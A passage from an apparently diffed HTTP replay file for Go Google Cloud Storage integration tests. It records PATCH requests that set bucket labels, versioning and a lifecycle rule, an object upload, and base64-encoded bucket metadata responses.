SNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "b75303fbdafb66d0", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "64" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJsYWJlbHMiOnsiZW1wdHkiOiIiLCJsMSI6InYxIn0sInZlcnNpb25pbmciOnsiZW5hYmxlZCI6dHJ1ZX19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2493" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:58 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqDnNlC3m95GplHjE79aqzhtwgfJCWQjHaCFG4i7qmTFliz2gdE4OiOnKAPIoNqxEngE35065YXNYA65aMSSeEluDKmQ__rJXcS_DpRdoYP4rZIyPo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1OC40MzZaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6dHJ1ZX0sImxhYmVscyI6eyJlbXB0eSI6IiIsImwxIjoidjEifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "831805b62d969707", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "93" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJsYWJlbHMiOnsiYWJzZW50IjpudWxsLCJlbXB0eSI6bnVsbCwibDEiOiJ2MiIsIm5ldyI6Im5ldyJ9LCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2495" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:59 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq8yNb3V9Kq8zPa_pdVrJIYv83v4fu6xAHwktfTz_Cy4K1rpi8xrDzYmw5wICaazfMcAiYPhM8r4Y6WkeOyeCRInvkJ6ndduhNN_dgu1U59uI5F3Qc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1OS4wMzJaIiwibWV0YWdlbmVyYXRpb24iOiIzIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBTT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6ZmFsc2V9LCJsYWJlbHMiOnsibDEiOiJ2MiIsIm5ldyI6Im5ldyJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQU09In0=" - } - }, - { - "ID": "8a816d061fe9e7e0", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "77" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJsaWZlY3ljbGUiOnsicnVsZSI6W3siYWN0aW9uIjp7InR5cGUiOiJEZWxldGUifSwiY29uZGl0aW9uIjp7ImFnZSI6MzB9fV19fQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2570" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:59 GMT" - ], - "Etag": [ - "CAQ=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrbjywEmDPkqxln7-Nx_8ngRxoWvncfCx1fGVpPZGEjjmg8OJgv0uaczxapjlNeEcvMnqWI_RVzG6_588QaO8nCnPVnE2kkIek3D_t6UNL9CCPYLRc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1OS41MzBaIiwibWV0YWdlbmVyYXRpb24iOiI0IiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FRPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVE9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQVE9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBUT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVE9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBUT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInZlcnNpb25pbmciOnsiZW5hYmxlZCI6ZmFsc2V9LCJsaWZlY3ljbGUiOnsicnVsZSI6W3siYWN0aW9uIjp7InR5cGUiOiJEZWxldGUifSwiY29uZGl0aW9uIjp7ImFnZSI6MzB9fV19LCJsYWJlbHMiOnsibDEiOiJ2MiIsIm5ldyI6Im5ldyJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQVE9In0=" - } - }, - { - "ID": "6a60397ebae323e7", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiYnVja2V0UG9saWN5T25seSJ9Cg==", - "dGVzdA==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3305" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:00 GMT" - ], - "Etag": [ - "CPmu4bnx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UokOvJnDKKHAQOa8mJLrxFpWWvQ2U_BC_3uI0Z4x870Q068evHio_t_YudbSq614h77-ofhBsyHpoknWnm_YrnXxkHzopreKoMBykFIcbsSB8TDKEE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LzE1NTY4MzU4NDAwNTUxNjEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5IiwibmFtZSI6ImJ1Y2tldFBvbGljeU9ubHkiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowMC4wNTRaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDAuMDU0WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjAwLjA1NFoiLCJzaXplIjoiNCIsIm1kNUhhc2giOiJDWTlyelVZaDAzUEszazZESmllMDlnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0UG9saWN5T25seT9nZW5lcmF0aW9uPTE1NTY4MzU4NDAwNTUxNjEmYWx0PW1lZGlhIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2J1